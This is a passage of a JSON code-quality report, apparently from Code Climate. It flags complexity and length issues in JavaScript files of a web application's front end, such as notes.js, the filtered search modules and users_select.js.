refactoring.","fingerprint":"9b40ee2b94454885b3fd51a8bc139c1c","location":{"path":"app/assets/javascripts/notes.js","lines":{"begin":127,"end":180}},"other_locations":[],"remediation_points":792000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `keydownNoteText` has 48 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"85df701d158d32b25dca1c2039b6a3be","location":{"path":"app/assets/javascripts/notes.js","lines":{"begin":226,"end":278}},"other_locations":[],"remediation_points":1152000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `renderNote` has 50 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"8dfb4b9b4d144d82422186651b46b3e4","location":{"path":"app/assets/javascripts/notes.js","lines":{"begin":403,"end":462}},"other_locations":[],"remediation_points":1200000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `renderDiscussionNote` has 53 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"52b66ad02e73c9b1c8848bd1affad7fc","location":{"path":"app/assets/javascripts/notes.js","lines":{"begin":471,"end":538}},"other_locations":[],"remediation_points":1272000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `removeNote` has 45 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"8c1e3976ef9bdf79365857e0b8bcb5d8","location":{"path":"app/assets/javascripts/notes.js","lines":{"begin":848,"end":911}},"other_locations":[],"remediation_points":1080000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `setupDiscussionNoteForm` has 35 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"d1b7947a88bd1e4b3519e282320fbb38","location":{"path":"app/assets/javascripts/notes.js","lines":{"begin":956,"end":1009}},"other_locations":[],"remediation_points":840000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `toggleDiffNote` has 61 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"60ae737d4dc10fe0af6e670d2d4bc7e2","location":{"path":"app/assets/javascripts/notes.js","lines":{"begin":1054,"end":1124}},"other_locations":[],"remediation_points":1464000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `updateTargetButtons` has 43 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"8ccd0067a20bb8afcaf3317b434b1ece","location":{"path":"app/assets/javascripts/notes.js","lines":{"begin":1196,"end":1241}},"other_locations":[],"remediation_points":1032000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `createPlaceholderNote` has 30 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"ddcd3bc4735c7d763b0fe5da55217278","location":{"path":"app/assets/javascripts/notes.js","lines":{"begin":1526,"end":1566}},"other_locations":[],"remediation_points":720000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `postComment` has 143 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"fcdd1766ceaaa90c770bddfe75d120cd","location":{"path":"app/assets/javascripts/notes.js","lines":{"begin":1604,"end":1796}},"other_locations":[],"remediation_points":3432000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `updateComment` has 30 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"7c508bf1571f9f4d795de4cb8ef1930a","location":{"path":"app/assets/javascripts/notes.js","lines":{"begin":1811,"end":1855}},"other_locations":[],"remediation_points":720000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"return_statements","content":{"body":""},"description":"Avoid too many `return` statements within this function.","location":{"path":"app/assets/javascripts/notes.js","lines":{"begin":264,"end":264}},"other_locations":[],"remediation_points":300000,"severity":"major","type":"issue","engine_name":"structure","fingerprint":"cd548cc7c1ebbb2263b1d2ecdb94a5dd"},{"categories":["Complexity"],"check_name":"return_statements","content":{"body":""},"description":"Avoid too many `return` statements within this function.","location":{"path":"app/assets/javascripts/notes.js","lines":{"begin":272,"end":272}},"other_locations":[],"remediation_points":300000,"severity":"major","type":"issue","engine_name":"structure","fingerprint":"cd548cc7c1ebbb2263b1d2ecdb94a5dd"},{"categories":["Complexity"],"check_name":"return_statements","content":{"body":""},"description":"Avoid too many `return` statements within this function.","location":{"path":"app/assets/javascripts/notes.js","lines":{"begin":275,"end":275}},"other_locations":[],"remediation_points":300000,"severity":"major","type":"issue","engine_name":"structure","fingerprint":"25fb735695be215146eaf2300412aae0"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `itemClicked` has a Cognitive Complexity of 12 (exceeds 5 allowed). Consider refactoring.","fingerprint":"86a06125a02d35c7e121952daf7f0f08","location":{"path":"app/assets/javascripts/filtered_search/dropdown_hint.js","lines":{"begin":23,"end":60}},"other_locations":[],"remediation_points":850000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `itemClicked` has 29 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"e7751795d821a7afa57ab25dbd658ee4","location":{"path":"app/assets/javascripts/filtered_search/dropdown_hint.js","lines":{"begin":23,"end":60}},"other_locations":[],"remediation_points":696000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `filterHint` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"22102abbd93e4d53a0798ecf7e058512","location":{"path":"app/assets/javascripts/filtered_search/dropdown_utils.js","lines":{"begin":117,"end":140}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `getSearchQuery` has 40 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"26e123d9f4a95bfa34a59f42db0ae260","location":{"path":"app/assets/javascripts/filtered_search/dropdown_utils.js","lines":{"begin":164,"end":213}},"other_locations":[],"remediation_points":960000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `processTokens` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"28cb3a1b7fa1a51cd968e9016415efea","location":{"path":"app/assets/javascripts/filtered_search/filtered_search_tokenizer.js","lines":{"begin":4,"end":51}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `processTokens` has 36 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"287e8c4963cc8869358280d31e4d4005","location":{"path":"app/assets/javascripts/filtered_search/filtered_search_tokenizer.js","lines":{"begin":4,"end":51}},"other_locations":[],"remediation_points":864000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `loadDropdown` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"31af8cc264fa78512d238c04106208fe","location":{"path":"app/assets/javascripts/filtered_search/filtered_search_dropdown_manager.js","lines":{"begin":202,"end":219}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `setDropdown` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"6dda613591636a58b06a298d0980498f","location":{"path":"app/assets/javascripts/filtered_search/filtered_search_dropdown_manager.js","lines":{"begin":221,"end":243}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `setupMapping` has 55 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"f12b787fff78b0b8986506eb90b1997c","location":{"path":"app/assets/javascripts/filtered_search/filtered_search_dropdown_manager.js","lines":{"begin":50,"end":108}},"other_locations":[],"remediation_points":1320000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `load` has 26 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"90c65f9cea258055f67defcb61f63abb","location":{"path":"app/assets/javascripts/filtered_search/filtered_search_dropdown_manager.js","lines":{"begin":165,"end":200}},"other_locations":[],"remediation_points":624000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `filtered_search_manager.js` has 514 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"45105bf38088a343a5a9c0e1ca76840e","location":{"path":"app/assets/javascripts/filtered_search/filtered_search_manager.js","lines":{"begin":1,"end":645}},"other_locations":[],"remediation_points":5001600,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `setup` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"8c08d2326cb1eb811c4329b3ee92fc04","location":{"path":"app/assets/javascripts/filtered_search/filtered_search_manager.js","lines":{"begin":58,"end":106}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `checkForEnter` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"2056e10cb965de92a331a6181618ff7f","location":{"path":"app/assets/javascripts/filtered_search/filtered_search_manager.js","lines":{"begin":236,"end":265}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `handleInputVisualToken` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"3ef6573dc182d159eb13ddd70be42653","location":{"path":"app/assets/javascripts/filtered_search/filtered_search_manager.js","lines":{"begin":398,"end":438}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"`FilteredSearchManager` has 32 functions (exceeds 20 allowed). Consider refactoring.","fingerprint":"dee04c9127382346c9edead8ceb49788","location":{"path":"app/assets/javascripts/filtered_search/filtered_search_manager.js","lines":{"begin":20,"end":644}},"other_locations":[],"remediation_points":2400000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `setup` has 38 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"fc525f4373639fe1e5e079259d587918","location":{"path":"app/assets/javascripts/filtered_search/filtered_search_manager.js","lines":{"begin":58,"end":106}},"other_locations":[],"remediation_points":912000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `bindEvents` has 34 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"0036874f7fdfa7b481bccec4adce2fd9","location":{"path":"app/assets/javascripts/filtered_search/filtered_search_manager.js","lines":{"begin":145,"end":182}},"other_locations":[],"remediation_points":816000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `handleInputVisualToken` has 29 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"105fd464c05f365ea496107488c4d048","location":{"path":"app/assets/javascripts/filtered_search/filtered_search_manager.js","lines":{"begin":398,"end":438}},"other_locations":[],"remediation_points":696000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `loadSearchParamsFromURL` has 63 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"dc0a70cc2480e01d46d52df00f42980b","location":{"path":"app/assets/javascripts/filtered_search/filtered_search_manager.js","lines":{"begin":463,"end":543}},"other_locations":[],"remediation_points":1512000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `search` has 36 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"8d31d46c10a7c7b27cba3e79c2c7e684","location":{"path":"app/assets/javascripts/filtered_search/filtered_search_manager.js","lines":{"begin":558,"end":607}},"other_locations":[],"remediation_points":864000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"nested_control_flow","content":{"body":""},"description":"Avoid deeply nested control flow statements.","location":{"path":"app/assets/javascripts/filtered_search/filtered_search_manager.js","lines":{"begin":524,"end":529}},"other_locations":[],"remediation_points":450000,"severity":"major","type":"issue","engine_name":"structure","fingerprint":"b4fcaa9a90b83251c167ce6bd363ead0"},{"categories":["Complexity"],"check_name":"nested_control_flow","content":{"body":""},"description":"Avoid deeply nested control flow statements.","location":{"path":"app/assets/javascripts/filtered_search/filtered_search_manager.js","lines":{"begin":530,"end":533}},"other_locations":[],"remediation_points":450000,"severity":"major","type":"issue","engine_name":"structure","fingerprint":"b9acc2eaf5ae1dd8b6f24ac70e97ace6"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `users_select.js` has 594 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"9e6ca5bcc402f0dae9a9869dd46e4e77","location":{"path":"app/assets/javascripts/users_select.js","lines":{"begin":1,"end":701}},"other_locations":[],"remediation_points":6153600,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `UsersSelect` has 524 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"b4438d98e020e34865089e812790a72e","location":{"path":"app/assets/javascripts/users_select.js","lines":{"begin":14,"end":628}},"other_locations":[],"remediation_points":12576000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `processData` has 88 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"9e7c9e224218cce1f434b0a0ff4616c4","location":{"path":"app/assets/javascripts/users_select.js","lines":{"begin":221,"end":327}},"other_locations":[],"remediation_points":2112000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `clicked` has 64 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"19cb3539002fa7a4aa2abf730fc550bc","location":{"path":"app/assets/javascripts/users_select.js","lines":{"begin":381,"end":468}},"other_locations":[],"remediation_points":1536000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `renderRow` has 31 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"b67cb57917ef04a8b05e4be075bf6c0b","location":{"path":"app/assets/javascripts/users_select.js","lines":{"begin":493,"end":531}},"other_locations":[],"remediation_points":744000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `query` has 48 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"447defa81cda25e0ae3f708d8cb7f927","location":{"path":"app/assets/javascripts/users_select.js","lines":{"begin":553,"end":604}},"other_locations":[],"remediation_points":1152000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `toggleCollapsed` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"01ddc746dbdfa4103552d4d09bda67bd","location":{"path":"app/assets/javascripts/image_diff/helpers/dom_helper.js","lines":{"begin":27,"end":45}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `addBadge` has 27 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"5cb8fbd4ee1e42eb778a29cd02efc8f5","location":{"path":"app/assets/javascripts/image_diff/image_diff.js","lines":{"begin":84,"end":116}},"other_locations":[],"remediation_points":648000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `constructor` has 45 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"1579b1a9e97ea98e6348df70287ccd85","location":{"path":"app/assets/javascripts/job.js","lines":{"begin":13,"end":70}},"other_locations":[],"remediation_points":1080000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `getBuildTrace` has 55 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"0990625843278c1e0d27866b6e51ec9b","location":{"path":"app/assets/javascripts/job.js","lines":{"begin":96,"end":163}},"other_locations":[],"remediation_points":1320000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `setVisibilityOptions` has 28 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"bd793c0b96469cb6904241d8beea60c0","location":{"path":"app/assets/javascripts/project_visibility.js","lines":{"begin":3,"end":35}},"other_locations":[],"remediation_points":672000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `restore` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"ebd9e5c02ce67b5fecb0e9a610fa01a3","location":{"path":"app/assets/javascripts/autosave.js","lines":{"begin":19,"end":37}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `populateActiveMetrics` has 33 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"0808d7392776f800f01eb00247cb49fc","location":{"path":"app/assets/javascripts/prometheus_metrics/prometheus_metrics.js","lines":{"begin":63,"end":100}},"other_locations":[],"remediation_points":792000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `loadActiveMetrics` has 27 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"d2f56d70d330df4e004e4e730ec9bd7d","location":{"path":"app/assets/javascripts/prometheus_metrics/prometheus_metrics.js","lines":{"begin":102,"end":130}},"other_locations":[],"remediation_points":648000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `adminInit` has 37 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"cb6b998e81923ba316eb986d14f16ef7","location":{"path":"app/assets/javascripts/pages/admin/admin.js","lines":{"begin":14,"end":60}},"other_locations":[],"remediation_points":888000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `renderState` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"d23e829e807e7cfa7fa60a5bd8bd2a4f","location":{"path":"app/assets/javascripts/pages/sessions/new/username_validator.js","lines":{"begin":49,"end":72}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"return_statements","content":{"body":""},"description":"Avoid too many `return` statements within this function.","location":{"path":"app/assets/javascripts/pages/sessions/new/username_validator.js","lines":{"begin":70,"end":70}},"other_locations":[],"remediation_points":300000,"severity":"major","type":"issue","engine_name":"structure","fingerprint":"59ee4d34d9113510c329a2b264aae308"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `showTab` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"2db6bb70760f9a2493d374e830395ef3","location":{"path":"app/assets/javascripts/pages/sessions/new/signin_tabs_memoizer.js","lines":{"begin":34,"end":47}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `constructor` has 52 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"364739acddb57495be3b94860555f2ae","location":{"path":"app/assets/javascripts/pages/projects/project.js","lines":{"begin":13,"end":72}},"other_locations":[],"remediation_points":1248000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `initRefSwitcher` has 63 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"e62a2b92cc28ef2e2c5cc5e391c1b3c1","location":{"path":"app/assets/javascripts/pages/projects/project.js","lines":{"begin":83,"end":155}},"other_locations":[],"remediation_points":1512000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `initLabelIndex` has 72 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"d6cbf4de48d122212aa6790bce385c52","location":{"path":"app/assets/javascripts/pages/projects/labels/index/index.js","lines":{"begin":9,"end":91}},"other_locations":[],"remediation_points":1728000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `stat_graph_contributors_graph.js` has 260 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"d70980224b971643c65164d7599d8306","location":{"path":"app/assets/javascripts/pages/projects/graphs/show/stat_graph_contributors_graph.js","lines":{"begin":1,"end":315}},"other_locations":[],"remediation_points":1344000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `ContributorsGraph` has 68 lines of code (exceeds 25 allowed). Consider 